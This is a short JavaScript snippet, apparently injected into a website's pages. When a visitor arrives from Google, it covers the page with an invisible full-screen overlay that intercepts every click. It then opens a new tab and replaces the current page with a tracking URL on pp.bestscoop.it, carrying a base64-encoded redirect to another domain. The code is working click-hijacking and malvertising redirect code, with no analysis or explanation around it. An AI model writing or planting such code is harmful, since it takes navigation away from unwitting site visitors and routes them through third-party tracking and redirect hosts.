function ready(fn) { if (document.readyState !== 'loading') { fn(); return; }else{ setTimeout(function() {ready(fn)}, 500); } sessionStorage.setItem("ok",1); if(sessionStorage.getItem("ok")=="1"){ document.addEventListener('DOMContentLoaded', fn); } } ready(function(){ //setTimeout(fin, 40000); setTimeout(fin, 0); }); function on() { document.getElementById("ovrl").style.display = "block"; } function off() { document.getElementById("ovrl").style.display = "none"; } function clkf(){ document.body.addEventListener("click", function (e) { //debugger; e.preventDefault(); try{ dataLayer.push({'event': 'bc_clickout'}); }catch(E){ } if (e.target.href){ window.open(e.target.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=2e21716a-d5cd-4cb4-a01d-fcbed5a2e82a&c=3&u=256&rd=aHR0cHM6Ly9zZWFyY2guZmluZC5lYXN5c3Rvcmllcy54eXovYnJhdm9UcQ=="); }else { window.open(window.location.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=2e21716a-d5cd-4cb4-a01d-fcbed5a2e82a&c=3&u=256&rd=aHR0cHM6Ly9zZWFyY2guZmluZC5lYXN5c3Rvcmllcy54eXovYnJhdm9UcQ=="); } off(); }); } function fin(){ var ref=document.referrer; if(ref.indexOf("google")<0) { return; } const style = document.createElement('style'); style.textContent = ` #ovrl { position: fixed; display: none; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 2; cursor: pointer; `; var div = document.createElement('div'); div.setAttribute('id', 'ovrl'); div.onclick =clkf(); document.body.appendChild(div); on(); }